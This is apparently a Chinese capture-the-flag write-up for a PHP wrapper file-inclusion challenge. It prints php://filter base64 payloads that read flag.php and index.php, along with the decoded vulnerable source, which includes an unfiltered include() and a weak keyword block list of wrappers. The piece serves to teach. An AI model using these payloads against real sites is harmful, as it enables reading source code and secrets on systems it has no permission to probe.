目錄
- 一、題目内容
- 二、解題步驟
-
- 特别發現
一、題目内容
php僞協定
二、解題步驟
打開網址
就一個tips,點進去提示,
右鍵檢視源代碼試試
啥也沒有
看看url欄
/?file=flag.php
本題可能考察的是php僞協定
構造payload
/?file=php://filter/read=convert.base64-encode/resource=flag.php
得到一串base64的編碼
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MTlkYmRlZjYtNmM0Mi00NDc0LWFlNTAtYWRkZTE0YzExZGI2fQo
解密即可得到flag
特别發現
構造payload
/?file=php://filter/read=convert.base64-encode/resource=index.php
得到
PG1ldGEgY2hhcnNldD0idXRmOCI+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwKTsKJGZpbGUgPSAkX0dFVFsiZmlsZSJdOwppZihzdHJpc3RyKCRmaWxlLCJwaHA6Ly9pbnB1dCIpIHx8IHN0cmlzdHIoJGZpbGUsInppcDovLyIpIHx8IHN0cmlzdHIoJGZpbGUsInBoYXI6Ly8iKSB8fCBzdHJpc3RyKCRmaWxlLCJkYXRhOiIpKXsKCWV4aXQoJ2hhY2tlciEnKTsKfQppZigkZmlsZSl7CglpbmNsdWRlKCRmaWxlKTsKfWVsc2V7CgllY2hvICc8YSBocmVmPSI/ZmlsZT1mbGFnLnBocCI+dGlwczwvYT4nOwp9Cj8+Cg==
解碼得到
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php" target="_blank" rel="external nofollow" >tips</a>';
}
?>